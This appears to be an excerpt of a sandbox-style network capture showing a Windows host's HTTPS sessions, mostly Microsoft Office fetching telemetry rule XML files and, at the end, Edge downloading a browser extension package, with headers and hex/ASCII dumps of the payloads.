2024-10-30 03:34:33 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	50951	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:33 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:33 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:33 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033433Z-16849878b787wpl5wqkt5731b4000000087g00000000b7pn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:33 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	50964	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:34 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:34 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: ab89d8fd-301e-001f-7989-29aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033434Z-17c5cb586f64v7xsc2ahm8gsgw00000002dg000000009wbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	50965	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:34 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:34 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:34 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033434Z-16849878b78fhxrnedubv5byks00000005t000000000d6sv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:34 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	50967	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:34 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:34 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033434Z-16849878b786fl7gm2qg4r5y7000000007sg0000000098fg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	50966	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:34 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:34 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7be90567-f01e-00aa-3367-2a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033434Z-r197bdfb6b4d9xksru4x6qbqr000000007eg00000000hn6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	50969	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:34 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:34 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033434Z-16849878b78p49s6zkwt11bbkn000000073000000000gek9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	50975	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:35 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:35 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033435Z-16849878b78hh85qc40uyr8sc800000007r000000000e77h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	50976	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:35 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:35 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:35 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033435Z-16849878b78j5kdg3dndgqw0vg000000096g000000008yes x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:35 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50974	142.250.74.193	443	5868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:35 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 03:34:35 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2BVtVOjNBVT-MoVVT5yJ1jw_NnQluRmptGXyYAmyP6pTinJ2a9vJcJyx51ucKVNNuADGcnbX_ClA X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Tue, 29 Oct 2024 20:33:29 GMT Expires: Wed, 29 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 25266 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 03:34:35 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-30 03:34:35 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-10-30 03:34:35 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
